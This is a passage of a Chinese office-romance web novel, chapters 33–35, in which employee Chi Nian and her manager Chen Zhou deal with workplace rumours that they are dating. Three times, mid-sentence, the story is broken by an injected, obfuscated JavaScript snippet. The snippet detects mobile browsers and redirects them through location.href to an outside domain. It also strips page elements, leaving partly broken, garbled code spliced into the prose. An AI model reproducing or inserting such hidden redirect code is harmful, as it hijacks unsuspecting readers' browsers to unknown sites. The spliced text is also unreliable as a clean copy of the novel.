迟念谨记之前的教训,听到指令,以为让她念方案之类的,目光在办公桌上搜寻,却什么都没看到。 她硬着头皮问:“念什么?” 陈昼神态自若,像在说一件很平常的事,“我在叫你的名字。” “啊?”迟念吓一跳。 说实话,她不太能接受上司叫自己乳名,念念这个称呼,这个世界上只有三个人在叫,爸爸妈妈加何伶。 这可是至亲专属! 她小心翼翼地纠正,“陈经理,要不你还是叫我小迟吧。” “小迟?” “对!同事都这样叫。” 陈昼微微挑眉,回忆最近几次的交集,自己都这样明显了,为什么她还是一副拒他千里之外的态度。 不是说,疗愈失恋的最好办法是开始一段全新的恋情吗? 他轻笑一声,执着地向她争取这个称呼,“还是念念顺口一些,你觉得呢?” 迟念像根木头似的杵在办公桌边,脸色风云变幻,回想昨天到今天,和平时一样,没发生什么特别的事… 她眼皮一跳,忽然想到娇娇…她不会气急败坏把事情散播出去了吧? 天! 越想越觉得是这样,不然陈经理怎么会阴阳怪气,像一只捉到老鼠的猫,不急着吃,而是先玩弄一番。 她像被抽走全身的力气,心里知道要怪只能怪巧合,怪自己,哪有员工明目张胆地制造领导绯闻的。 误会形成的时候,不解释也就算了,竟然将错就错,最后造成这种不可挽回的后果。 她马上鞠躬九十度,觉得自己跪在菜市口,即将被午门斩首,“陈经理,你是不是听说什么了?” 但是,在死之前,她还想挣扎一下。 陈昼见她这样,露出意外的神色。 他喜欢她思维跳脱,给出预想完全相反的回答,但得基于他能听懂,这次明显有什么他不知道的事。 沉吟片刻,他摇头。 待女孩离开,他拿起手机, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14822636|155647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拨通销售部经理的电话,“是我,你最近在公司里听说过关于我的谣言吗?” * 娇娇昨晚加班,只睡了五个小时就起床了,打完卡身子就钉在工位上,噼里啪啦敲键盘,连去厕所都抽不出的时间。 电脑屏幕摆着四个对话框,对面的人好像听不懂话,已经把产品详情发过去了,还一直问问问个不停。 她头顶冒火。 可是,很奇怪,后背却总觉得凉飕飕的。 回头几次,看到大家都在忙,索性把这种莫名其妙的第六感归结于昨晚睡太少。桌角的咖啡已经见底,她习惯性喊迟念。 迟念经过前一阵的高强度磨炼,业务水平提高了不少,加之工作被分走一半,这会儿竟然闲了下来。 听到娇娇喊她,下意识转头,看到她像平时一样颐指气使喊跑腿,哼了一声,没理。 娇娇以为自己看错,拿着空杯走到这边,咣的一下放在迟念桌子上。 “叫你没听到啊?” 迟念托着下巴看电脑,可是屏幕上并没有工作内容,顿了几秒之后,她才慢悠悠抬起头,“听到了。” 这副模样简直是疯狂动物城里树懒闪电的翻版,娇娇登时火冒三丈,“听到你还不动?” “干吗动?”她故意装傻。 娇娇咬了咬牙,用力敲了几下杯沿,“续咖啡。” 迟念坐得更稳了,“你又不是没长腿。” “你…”娇娇重重呼出一口气,弯下腰,皮笑肉不笑地说:“怎么,和男朋友分手了,不怕我把你的事说出去了?” 说完,故意拉长声,“你可是脚踩两条船哎。” 迟念转头,一脸无所畏惧的平静,“去说吧,随便。” 娇娇没想到她会这样,直接愣住。 迟念拿起自己的水杯,猛地站起来,转身时,声音很轻,“都已经人尽皆知了,还好意思跑来恐吓。” 娇娇“哎”了一声,下意识想抓住她,结果落空。 她呆呆地站在原地,自言自语:“奇怪,我没说出去啊…” 同一时间,一墙之隔的经理室。 手机摆在桌角,陈昼静静地等待。 屏幕一闪,是销售经理打来的电话。 他接起。 “查清楚了吗?” 听筒里传来条理清晰的男声,“我查了一下,只是在宣传部里流传的消息,说您和一个叫迟念的员工…” 陈昼不满他的停顿,冷声示意,“继续说。” “呃…说你们在谈恋爱,后来分手了,然后又传出迟念怀孕了,还有人看到您带她去医院做检查…” 陈昼:“……” 好荒唐,他摘下眼镜,无语地捏了捏鼻梁。 “这都是谣言。” 销售部经理忙附和,“对对对,我一听就知道都是假的,为了您的声誉,准备开个内部会议管理一下。” 陈昼却纠正他的话,“应该是为了迟念的声誉才对。” 33. 第三十三章 手头工作已经完成,迟念焦灼地看着时间。 纠结了一下午,决定坦白,可是经理室的门一直紧闭。她关了电脑,悄悄走过去,叶珍珠正对着电脑,速度极快地打字。 迟念刻意降低自己的存在感,站在旁边等。 叶珍珠余光看到来人,知道是迟念,头也没抬,直说:“什么事啊小迟?” 迟念面色犹疑地看了看紧闭的门,小声问:“你知道陈经理什么时候能忙完吗?” “陈经理…”她突然抬起头,“他下午被总部紧急召回去了,你不知道?” “啊?”迟念傻眼,“我怎么可能知道。” 叶珍珠有些意外,用玩味的眼神看着她,“啧啧,你都不知道,看来确实是很急的事。” 迟念:“……” 心脏悬了一天,听到他不在的消息,瞬间放松,她随手拉过旁边的椅子坐下,“那你知不知道他什么时候回来?” “不知道。” “哦…好吧。” 叶珍珠突然说:“也许永远不会回来了。” “真的?”迟念眼神一亮。 “拜托,你的开心能不能稍微收敛一下啊。” 叶珍珠捂着嘴笑,谨慎地看了眼门外的工作区,确定没人注意这边后,故意探身过去,声音极低,“下午小陈总打电话时门没关严,我听到几句。” 迟念不感兴趣,但是见珍珠姐眼底闪光,好像有很多八卦要讲的样子,不好扫兴,“听到什么了?” 叶珍珠突然犹豫,“那你得先回答我一个问题。” “说。” “你和小陈总?” “清清白白的上下级关系。” 叶珍珠见她一脸坦荡,松了口气,终于把憋了很久的话说了出来,“那就好,下午是陈董给他打的电话,好像在说结婚的事。” “结婚?”这在迟念的意料之外。 她还记得晚上送他回家那次,他说过自己有喜欢的女孩,还说那个女孩已经有男朋友了。 这才过了半个多月,那女孩不可能做到和男友分手,然后和他无缝连接,相处几天之后火速商量结婚。 她脑子里闪过四个字——商业联姻。 “啊!那他说什么了?” 叶珍珠用手指挠着额角,很努力地回忆,“说什么没听清,但是态度看起来很抗拒。” 当然抗拒了,迟念特别能理解,没有人愿意和没有感情基础的对象结婚。 “然后呢,就走了?” 叶珍珠点头,兴致勃勃地说:“你猜,他会不会是拗不过,真的结婚了。” 迟念的笑僵在脸上。 如果真的是这样的结局,她可要对陈经理失望了,刚认识的时候觉得他冷面阎王似的,天天一副拒人千里之外的样子。 可是,随着时间的推移,她发现他其实是个性温和的人;不止如此,还很绅士细心,完全颠覆了先前对他的印象。 这样性格的人简直是暗恋圣体,那晚他用惆怅又无奈的语气说出有喜欢的女孩时,像被小说里爱而不得的男二附体,精准戳中迟念的癖好。 哎呀! 故事还没开始呢,可别真不了了之了。 她脸色风云变幻,被叶珍珠尽收眼底,好奇,兴奋,八卦,探究,全都是置身事外的看客应该有的情绪。 她微微一笑,“我现在真信了。” 迟念:“信什么?” “信你和小陈总真的一点关系都没有。” 确定以后,叶珍珠放下最后的防备,笑着说:“其实我觉得吧…他这种身份地位的人,最后都会找个条件差不多的。” 迟念托着下巴,软软地反驳:“也不是所有人都活得那么功利,也有很多例外啊,如果遇到真心喜欢的,什么枷锁都会打破的。” 叶珍珠见她淡定点评,忍不住吐槽:“看来你和小陈总真是逢场做戏。” 迟念“啧”了一声,脸拉得老长,“能不能别把话题扯我身上啊,我现在和你站在同一条吃瓜战线上。” “知道知道!” 叶珍珠觉得公司不是聊这件事的地方,火速把包挎在肩上,冲她眨了眨眼,“走,请你吃大餐!” * 那天之后,陈昼仿佛人间蒸发,再也没有消息。 迟念也从他很快就回来,转为或许再也不会回来了的状态;这对她来说是好事,因为谣言随着他的离开消失了。 正值活动中期,每个人都很忙,娇娇也老老实实地坐在工位上,焦头烂额地处理对接事宜,偶尔超出承受能力,还会放低身段来求她。 一杯咖啡加一块甜点,在陈昼离开的三天后,娇娇回请她,笑眯眯地弯下腰,“小迟,过往不究好不好?和男朋友分手也有我的责任,再给你介绍一个行不行?” 迟念冷着脸,叉了半块蛋糕放嘴里,淡淡地说:“不必了。” “别这么着急拒绝啊。”娇娇凑到她耳边,神神秘秘地说:“像彭于晏。” 迟念面不改色,“不用。”她把叉子放下,咖啡推到桌角,拒绝的意思很明显,“工作上的沟通和帮助我都可以配合,你以后不用破费。” 娇娇讪讪地直起身,既然迟念放话了,那她也不客气了,小碎步跑回工位,从抽屉里拿出一沓资料,抱着去找迟念。 “栗原你还记得吧,我和他的团队完全沟通不了,交给你好不好?” 迟念记得这个博主,算颜值区的,五百多万粉丝,粉丝由百分之九十的女性构成,直播最高三万人在线。 她接过来,随手翻了翻,点头同意。 娇娇见她这么痛快地答应,头顶的阴云瞬间散去,赶紧回工位,把之前的聊天内容打包给她发过去。 迟念回了个“OK”的工作专用表情。 工作量虽然有增加,但还在可以游刃有余的范围内,连迟念自己都承认运气好,暂时没有出现应付不来的突发事件。 七点下班,比预想的早。 春天的气息越来越浓,白天也逐渐拉长。 出写字楼的时候,天还没黑,落日的余晖照在落败的杏花上,花蕊中间,翠绿色的果子已经长到小指盖大小。 何伶还没回来。 迟念站在地铁的角落给她打电话。 “我怀疑你回老家结婚了。” 听筒里传出张狂的笑声,笑完之后,何伶边嗑瓜子边说:“如果我就这么结婚了的话,我的容貌,我的身材,还有我的社交礼仪,美好的品格和性格,甚至是灵魂都被毁掉了。” 迟念翻了个白眼,“我很认真。” “我也很认真啊,倒是你很奇怪,我要是有对象你一定第一个知道,竟然敢诅咒我回老家结婚。” “那你怎么还不回来?” 何伶在嗑瓜子的间隙嘿嘿一笑,“怎么,想我了?” 地铁到站,开门又挤进一拨人,她往后缩了缩,看着眼前人头攒动的陌生人,想到家里也是空荡荡的,突然叹了一口气。 “唉,孤单。” “怎么着,你那个男朋友还没表白啊?” 迟念呼吸一滞,顾左而言他,“你天天在家都干什么啊,不会大吃大喝的吧,回来还能找到工作吗?” 何伶轻呵一声,没有被她带跑偏。 “念念,你…” “怎么?”她声音平白低了好几度。 “又吹了吧。”对面语气确凿。 “哪有。”迟念看着窗外一闪而过的广告牌,平静地说:“只是普通朋友而已,他前一阵升职去总部了,说明我的眼光还蛮好的。” 果然吹了,不过眼光好这点,何伶倒是承认。 “确实,不止好,能从海量的照片里精准选到领导。” 迟念:“……” “你不戳我痛处能死啊。” 何伶对于老友在这方面的糗事没有一丝同理心,笑过之后突然想起,“对了,好久没问,你最近和上司怎么样?” 迟念叹了一口气,白雾蒙上车窗,她伸出手指,画了一颗心。 “…他都走一周了,好像回去商业联姻了。” “商业联姻!”何伶惊呼,下意识想起看过的海量豪门剧,“那你们在分公司的这段恋情会不会被女方背调到啊?” “…不会吧。”迟念从没想过这种问题,“他走之后,这边没人说了,而且活动期,都忙得没时间搞这些。” 何伶冷冷一笑,没她这么乐观。 “你就祈祷他不要商业联姻吧,女方肯定会调查你,到时候揪着不放追查到底,你会社死,死很惨那种。” !!! 啊?! 迟念完全没想过这个问题。 听她这么说,惊出一身冷汗。 当相信一件事的时候,近期发生的事也会自然连接,筛选出可疑的送到她眼前。 陈经理走后的第二天,总部那边来了稽查组,在宣传部停 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14826508|155647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 留的时间最长,领头的男人上下打量她,问:“你就是迟念?” 那时她看不问别人就问她,还以为是好事呢,挺骄傲地回答了个是。 难道… 其实是在调查? 迟念突然慌了神,匆忙挂了何伶的电话,点开通讯录,陈昼的名字被置顶在第一行,手指在上面盘旋,忽然心慌。 她以什么身份打这个电话啊… 员工对上司,理由是什么? 地铁到站,她浑浑噩噩随着人流下车,一路都在纠结这件事,回到家,往漆黑的沙发上一趟,突然产生触底反弹的勇气。 死就死吧。 她拨号过去。 * 三层别墅,灯火通明。 餐厅里,明黄色长桌上摆满精致的菜品,陈开年坐在主位,丰盛的晚餐和清冷的气氛对比,平白生出一种孤寂感。 家是很大,可惜一点人气儿都没有。 他端起酒杯,眼神平移,隐晦地冲妻子李瑾眨了眨眼。 女人保养得当,外表看起来只有四十多岁。 她穿着丝质长裙,黑发高高挽起,颈上和耳垂戴着珍珠饰品,和严厉丈夫相反,通身散发毫无攻击力的贵妇气质。 多年的夫妻形成了不需要言语就能明白的默契,李瑾夹了一块牛肉送到儿子碗里,露出温柔的笑意。 陈昼客气地说了一声谢谢,然后把肉放进嘴里,细细地嚼着。 李瑾满眼慈爱,热切地问:“味道怎么样?” 陈昼语气平淡,“很好吃,您的厨艺越来越好了。” 李瑾的笑僵了一秒,讪讪地说:“是佣人做的,知道你要回来,特意找了一个擅长做北方菜的。” 他动作一顿,不过很快恢复平时,“不用这么麻烦,我也待不几天。” 陈开年本不想说话,但一听这话,登时忍不住,“这么急着回去,难道在分公司那边有女朋友了?” 李瑾暗道不妙,在桌下踢了踢丈夫的腿,给他一个埋怨的眼神,“总问什么,儿子如果有女朋友了一定会和我们说的。” 陈昼默默吃饭,在两人焦灼等待的目光中,放下筷子,淡淡地说:“我吃饱了。” 陈开年面色一沉。 老早就听说他在分公司那边有女朋友,还没开心几天呢,结果分手了。 一周前,分公司的下属突然给他发情报,说陈昼那个分了的女朋友疑似怀孕,两人同时出现在医院急诊里。 他当场慌了神儿,差点买去林江的飞机票。 这个冷清了二十几年的别墅也许很快会摆满毛茸茸的玩具,白白胖胖的宝贝骑在木马上,见他回来了,开心地跑来迎接,还奶声奶气地喊他爷爷。 这是陈开年从来没想过的场景,得知这个消息之后,脸上的笑容就没下去过。 可惜,只维持了一个小时。 在得知只是单纯胃不舒服后,他生吞了两粒降压药,一个人坐在空荡荡的二楼书房里,一夜没睡。 这导致第二天他给陈昼打电话的时候,带着一股邪火。 年轻人谈恋爱分分合合很正常,但是把他折腾的半死就不对了,借着开会的名义召他回来,还故意提和孟思妍的婚事。 父子在电话里就很不愉快,回来之后,陈昼除了参加股东大会,平时基本见不到人,甚至晚上都不回家睡。 今天是因为工作的事情到了尾声,再不回来,他又要走了。 李瑾知道丈夫的脾气,多年身居高位养出来的性子,大多时候是好心,但是一说出来就有一种让人抵触的命令味道。 特意和他商量好,气氛缓和之后,听儿子亲口说。 结果可倒好,他这火爆脾气又没忍住。 陈开年见他吃完就要走,啪地放下筷子,冷声问:“你和迟念到底怎么回事?” 陈昼起身的动作顿住,惊讶之后,重新坐回椅子上;想到销售经理和他说的谣言,没想到距离这么远,他们竟然也会听说。 李瑾见事情捅破,也不端着了,语重心长地说:“陈昼,听说你们谈了很久,怎么会突然分手了?” 陈昼抬眼,依次打量他们。 一个生气,一个担忧,貌似真的相信这件事。 本想实话实说,可念头刚起,就被另一个想法取代。 他沉吟着说:“我们…没分。” 话音刚落,桌角的手机振铃,亮起的屏幕上,显示来电人——念念。 34. 第三十四章 嘟声响起,迟念的心瞬间提到嗓子眼,屋里没开灯,她缩在沙发一角,无意识地啃着指甲。 三声之后,对面接通。 打这个电话前,她慎重考虑了一下。 不能以员工的身份打给他,那就以朋友吧,之前单独相处的几次她一直恪守员工的本分,但是,得到了可以直呼他名字的特权。 为了不让等会儿的通话太刻意,她故作轻松地打招呼。 “嗨~陈昼,这几天过得怎么样?” 听筒里,传来很轻的呼吸声,接电话的人仿佛离手机很远。 “很好,你呢?” “啊,我也很好,那个…我打电话是想问你…” “想问我什么时候回去?” 迟念想说的话被截断,只能顺着他的话往下接,“对对对,你什么时候回来?”或者,不回来了? “你希望我什么时候回去?” 男人的声音清冷又直白,迟念却脚趾蜷缩,心想,我一个小员工哪有资格决定这种事,“呃…你忙完,忙完会回来吧。” 她是犹疑不定的心虚语气,透过听筒传递之后,莫名带了一丝恋人之间许久不见的哀怨味道。 “会。” 对面传来窸窸窣窣的声音,仔细听,还有模糊不清的人声,男女都有,感觉像在开会…果然没选好时机。 迟念顿生悔意,忙道歉:“打扰到你了吧,不好意思,我马上挂。” “不用。”这次的声音很近很近,男人的呼吸就在耳边,而且能感觉到他已经离开了刚才的环境,背景极静。 陈昼走进书房,把门反锁之后,坐在窗边的软椅上,连他自己也没有意识到,此刻的眼底带着愉悦的笑意。 “怎么会想到给我打电话?” 迟念经过刚才的跑偏问答,勇气已经消失了大半,本想隐晦地问他是不是要结婚了,结果话到嘴边不敢说。 只能迂回。 “我…突然想起你之前说,有一个喜欢的女孩。” 陈昼故意装听不懂,“哦?” “忘了吗?” “当然没忘,是你忘了。” 迟念挠了挠后颈,心虚地补救,“我也是才想起来。” “所以?” “呃,公司里的人说你不回来了,我打这个电话是想鼓励你…既然喜欢,就要勇敢去追,万一她也喜欢你呢。” 陈昼的唇角压不住,甚至溢出一声轻笑,“你觉得她会喜欢我?” 迟念一听这句话就知道他还没死心,语气急促地说:“必然喜欢啊,你性格好,长得帅,还很有钱!” “说实话。”他靠在椅背,望着窗外朦胧的球形院灯,一改刚才的语调,突然变得正经,“为什么给我打电话。” 迟念沉默。 果然混不过去。 她缓缓吐出一口气,“听说你这次回去是准备结婚,我想到你之前说的那个女孩,你还没有开始争取呢,这样的结局实在太可惜了。” 陈昼以为自己听错,常年维持的稳定也在这一刻破功,短暂沉默后,他声音凉凉,“你说…我还没开始?” * 电话挂断之后,迟念才想到最初对陈昼的印象,那时候是因为他性格难搞自己才打退堂鼓的,怎么时间久了,连这个也忘了。 刚才这个电话白打了,说了一堆废话,最后还莫名其妙被挂断;她不确定他是不是要商业联姻,导致一想到上班,就浑身抗拒。 她叹着气下电梯,对打卡机扯了一个僵硬的笑容。 叶珍珠疾步走过,又急刹车倒回来,对她耳语,“你猜怎么着?陈经理要回来了,下午六点的飞机。” 迟念一下子精神了。 “啊?” 叶珍珠急忙把食指竖在唇中,示意她小点声。 迟念做贼似的看了眼透明玻璃那边的工作区,见没人注意到她们,赶紧拉着叶珍珠去步梯方向。 关好门,确定上下楼层没人,迟念才苦着脸问:“你说陈经理今天回来?” “对啊。”叶珍珠打了个呵欠,疲惫地说:“昨天半夜给我打电话,那会儿我都睡着了,听到他的声音,我直接垂死病中惊坐起…” 迟念心情复杂,“怎么这么快啊。” 叶珍珠耸了耸肩,语气轻松地说:“都快十天了,按计划他应该忙完这次活动再回总部的,这样一想,回去结婚的事应该是我幻听了。” 迟念一听这句,心里更难受了。 想到昨晚自己莫名其妙给他打电话,还说了一些奇怪的话,整个人痛苦面具,“你怎么不早说…” 一天都浑浑噩噩的,当时间跳到六点整的时候,迟念幻想中有一架飞机,冲破乌云,准时降落在林江机场。 说不清是怎样的心情,她叹了一口长气。 游魂一般回到家,刚开门,耳边就一声炸响,她抱头尖叫,狼狈至极。 闪着光的金色碎片密集坠落,何伶穿着宽松的印花长裙,在旁边毫无形象地大笑,“惊不惊喜!意不意外!” 迟念擦掉黏在脸上的礼炮碎片,惊愕地看向她。 “神经啊,吓我一跳!” 何伶笑倒在她身上,“我就知道你会吓到。”说完,晃了晃手机炫耀,“所以很有先见之明地抓拍了几张丑照。” 迟念瞬间把烦恼抛到脑后,脱鞋之后去抢手机,企图把照片删掉。 何伶早就预判到,脚底抹油想跑到卧室,结果慢了一步,衣角被揪住,一股大力之后,手机被缴。 她见抢救不回来了,索性走去沙发上瘫倒。 迟念批量删除,不小心看到相册里的聊天截图,她扫了一眼,激动地跑到沙发边,“a级古装剧,你过初选了?” 何伶本想亲口告诉她的,没想到意外泄露,不过这样更好,她压不住嘴角。 “是啊,我想演反派女三,戏份不多,但是有完整的成长线,选角导演看了我的简历就直接通过了,半个月后试戏。” 迟念膜拜地看着她,“天呢伶子,你要火了!” “这只是万里长征第一步。”何伶坐直,把腿盘在裙摆下,突然惆怅:“我现在的体重和简历的体重差了八斤,时间紧任务重,我必须减掉!” 迟念把手机还她,顺势坐在沙发上,视线从上走到下,“你这…胖的还挺明显,到底吃了多少啊。” 不提还好,一提何伶就想起不堪回首的假期。可能饿了太久,胃口报复性的好,吃完一碗砂锅粉还能再炫一块甜点。 她把头靠在迟念肩膀,悠悠吐了一口长气。 “别提了,反正接下来的半个月,家里不能出现吃的东西,还有你…”她郑重通知,“晚饭在外面吃完再回来。” 迟念当然支持,不过… 她担忧,“什么都不吃,不会饿出毛病吗?本来你的胃就不好。” 这个何伶也没办法,没想到初选会过,事已至此,只能逼自己一把!她抬了抬下巴,“没事,我早上可以吃一点儿。” 迟念顺着她的视线看向厨房,狭窄的大理石台面上放着一袋原味燕麦片,说:“用牛奶泡,再加两个煮鸡蛋。” 何伶绷不住,“你还在这给我营养搭配上了。”她双臂交叉,眼神坚定地摆了个抗拒一切的手势,“什么都不要,就开水泡燕麦,我一天的饭。” 迟念收起想帮她买牛奶的冲动,无奈地说:“行叭,你悠着点儿。” * 珍珠姐说得没错,陈昼真的回来了。 迟念打卡上班,刚进去就听同事们在窃窃私语,韩主管从经理室出来,把文件夹摔在桌子上,板着脸通知:“把手头的工作整理好,九点半开会。” 哀怨声从各个角落传出来。 十天不见,陈昼看起来瘦了一些,已是初夏,他穿的衬衫换成很薄布料的那种,光照在他身上,隐隐能看到里面的皮肉。 迟念坐在角落,努力降低自己的存在感。 突然,耳边一声响指,男人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14837505|155647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 站在她椅后,语气平淡,“念念。” “欸…好的!” 当他说出这两个字的时候,迟念有一秒钟混乱,好在现在是开会,很轻松就能分辨,马上翻开文件,简洁地汇报工作进度。 她说的时候,隐晦地瞄了几眼同事。 大家都很专注,专注中还带着一丝紧张,没人注意到有哪里不对。十分钟,汇报结束,她缓缓坐下。 陈昼认真听完,却沉默不语。 会议室的气氛更冷了。 坐在她旁边的娇娇屏住呼吸,在心里大喊救命,迟念这样的如果不合格的话,那她做的更是垃圾啊。 她默默祈祷,实在不想被通报批评了。 还好,陈昼深深地看了迟念几秒,然后慢条斯理地挽起袖口,看着韩主管说:“其他的你开完组会报告给我吧。” 众人都松了口气。 这是迟念入职以来最短的大会,只开了半个小时就结束。她收拾东西,准备和大家一起离开,却突然感觉有道视线落在自己身上。 她抬头,恰好和陈昼对上视线。 心虚,低头,企图蒙混过去,却听到他喊她名字。 “迟念,你留下。” 没离开的同事都好奇地看过来,陈昼双臂抱胸,似是对刚才她的汇报有疑问,“为什么开那么高的报价给栗原?” 娇娇一听,顿时头皮发麻,因为这是她搞出来的烂摊子。 以为交接给迟念,她会沟通好,没想到还是按照原先的报价继续下来,娇娇不想惹祸上身,悄悄贴墙溜走。 同事们也陆续离开,最后会议室只剩他们两人。 陈昼站在窗边,听到门关之后,转头,唇角噙着浅浅的笑意,心情似乎很好。 迟念无暇顾及他的态度,只想把这件事解释清楚,“我考察了栗原过去半年的直播销售额,数据非常好,粉丝大多是资产丰厚的中年女性,购买力很强,所以我…” “好。”没等她说完,他就点头。 “啊?”迟念收声,呆呆地看着他。 陈昼双手插兜,很慢地向她走过来,在距离一米左右时停下。 窗外阳光正暖,初夏的微风轻柔地穿过窗户,在空旷的会议室里打了个旋,吹乱了迟念的头发。 怎么突然有点尴尬。 她后退一步,结果他又向前一步,距离还是这么近。 陈昼个子高,在他的视角,只能看到她微翘的睫毛和秀窄的鼻梁,索性拉过椅子坐下,微微仰起头。 转变视角之后,他才发现迟念很紧张。 “留下你,不是为了公事。” 迟念惊讶,“那是…” “我离开之前,听到一些谣言。” 她一怔,急忙组织语言,“对,但是你离开之后就消失了…还要听吗?” 陈昼兴趣不减,“说说看。” 决定生死的时刻终于到来了,和想象中的不一样,迟念非常平静,“大家都在传我们是恋爱关系。” 男人看上去一点都不意外。 迟念深吸一口气,准备把前因后果说明白,不管是被开除还是留下,任何一种结果她都能接受。 “其实…” 结果刚说出口,就被打断。 “可以理解,因为你和我一起出差,回来后还兼职了几天司机,被人看到你从我车里下来,自然会误会我们的关系。” 迟念愣住,大脑空白地附和:“呃…啊…是。” 说完以后,陈昼敛去笑意,略带歉意地说:“事情因我而起,一定给你带来很多困扰吧?” 这走向完全出乎迟念的预料,她突然不知道说什么好。 “其实没有,我是怕你…” “我没关系。”他抬腕看了眼手表,沉吟着问:“下班之后有时间吗?” “…有。” “好。”他突然站起身,恢复了平日的工作状态,所以这句话带着一丝不容置喙的命令味道,“那等我。” 35. 第三十五章 迟念坐在工位上,直直地盯着电脑屏幕,看着似乎是认真工作,实际在想刚才在会议室里的事。 所以…甩锅成功了? 陈昼竟然以为谣言是因他而起,主动揽下。 事到如今,她不得不承认,自己的事业运很好,这种情况都能化险为夷。 七点,手里的活差不多忙完,迟念收拾好东西,转身看了眼经理室方向,也是很巧,门刚好打开。 陈昼从里面出来,摘下眼镜,对叶珍珠说了两句话之后,自然地看向工作区。 迟念立刻站直,把包转到身前,意思是——我下班了。 他微微颔首,目光转到电梯方向。 迟念秒懂。 她乘电梯到负一层,找到熟悉的黑色奔驰车,地下停车场的温度比楼上低了好几度,迟念衣服单薄,搓着胳膊站在车前等。 一分钟后,电梯打开,陈昼和销售部的两个人同时出来。 迟念下意识躲到车的侧面,直到那两个人走向各自的车,才收起戒备抬头,发现陈昼就站在两米之外。 他没穿外套,停车场的冷风吹着衬衫,很清晰地看出身体轮廓,迟念眼神闪了闪,规矩地打招呼。 “陈经理。” 车灯亮起,他晃了晃车钥匙,“怎么不叫我名字了?” 迟念打着哈哈,“这不是还在公司里么。” 他挑了挑眉,“上车吧。” “去哪?” “好地方。” 这次她不是司机的角色,而是坐在副驾驶,车子一路直行驶出公司大楼,她如坐针毡地抓着安全带。 第一个红灯,车子缓缓停下。 这不是回家的路,也不是回陈经理公寓的路,迟念忍不住问:“去哪啊?” 红灯还有五十多秒,陈昼的手离开方向盘,伸进裤兜,但是又空着出来,不太自然地抬起,捋了下后脑的头发。 他转头看她,“你平时喜欢去哪?”说完,笑着警告,“不许说喜欢上班。” 迟念还真想说上班来着,结果高情商答案被pass掉,只好话锋一转,“就…逛街吃饭看电影之类的。” “一般都去哪逛?” 迟念在林江上的大学,对这里很熟悉,主城有三个主要商圈,分布在市中心和南北两个城区。 市中心的商圈主打高消费,各大国际奢侈品牌基本都在那,她和何伶每次去都是只看不买,过完眼瘾之后,去商场地下吃大排档。 南城区和北城区相对来说就很亲民了,年轻人扎堆,主打平价奥莱风,适合换季的时候去囤货。 她想实话实说,但转念想了很多。 南北商圈距离这里很远,开车要一个多小时,市中心虽然贵,但是离陈经理的家很近,不管从哪个角度看,都应该说市中心。 “就虹影路那一带,偶尔会去逛。” 陈昼有些意外,“我家楼下?” “是的!”她相当笃定。 绿灯亮,他启动车子,转到主路右侧,看样子下个路口会拐弯,正是通往市中心。 迟念暗道好险。 虽然过了晚高峰,通往市中心的主路依然拥挤,车速一降再降,陈昼却神态舒展,没有表露出一丝不耐。 距虹影路只剩一公里,车堵得很严重,迟念把车窗落到底,支着脸看外面的街景。 林江的春天太短了,短到没看到花是怎么开的就结了果,树叶也在一夜之间伸开巴掌,满街浓墨重彩的绿。 各色小吃摊也在路边停满,带着香味的烟火气和喧闹的人群糅杂在一起,生机勃勃,岁月静好。 陈昼注意到路边空了一个车位,提议:“我们步行过去吧。” 迟念说了声好。 街道亮如白昼,他们走在拥挤的人行道上,隔几十米就能遇到扮成玩偶的传单员,也自然收到几张。 迟念扫了一眼,是甜品店和饮品店的广告。 正饿着呢,看到这些控制不了。已经走了三百米,陈昼也不说话,就这样安静地往前走,不知道想干吗。 她看了眼时间,快八点了。 “我们来这边是要?”她冒死直谏。 陈昼放慢脚步,指了下前方灯火通明的商场,说:“逛街啊。” 迟念干笑,“哦哦,这样啊。”和朋友逛街是享受,和上司逛街是受刑,她开始打退堂鼓,“可我没什么想买的啊。” 陈昼的目光在她脸上定格三秒,说:“我有。” “…你想买什么?” “女生喜欢的东西。” 迟念愣了一下,这句话很快和存储的信息联系上,陈经理买女生喜欢的东西,难道…准备正式展开争夺了? 会不会因为她那晚打的电话,改变了他的想法? 所以拉她出来当军师。 我去!对啊! 陈昼虽然看上去精英男一个,但是接触几次之后,她发现,他其实性格有点古板,不太擅长和异性相处。 而且没有豪门富二代的觉悟,稍不注意就会给人留下抠门的印象,不然怎么会这么大年龄了还搞暗恋。 啧啧~ 迟念投过去一个我懂了的眼神。 “你早说呀,是想送你喜欢的女生礼物吧?” 陈昼见她眼神突然变亮,顺势点头,“是这样。” 迟念见自己猜中,立即仗义地拍了拍胸脯,揽下这个任务,“放心吧,包在我身上!” * KL商场坐落在虹影路黄金位置,楼体由巨大的3D屏幕组成,去年圣诞节公司在这里投放过一次广告,费用惊人。 里面的消费也超高,她只进里面上过两次厕所。 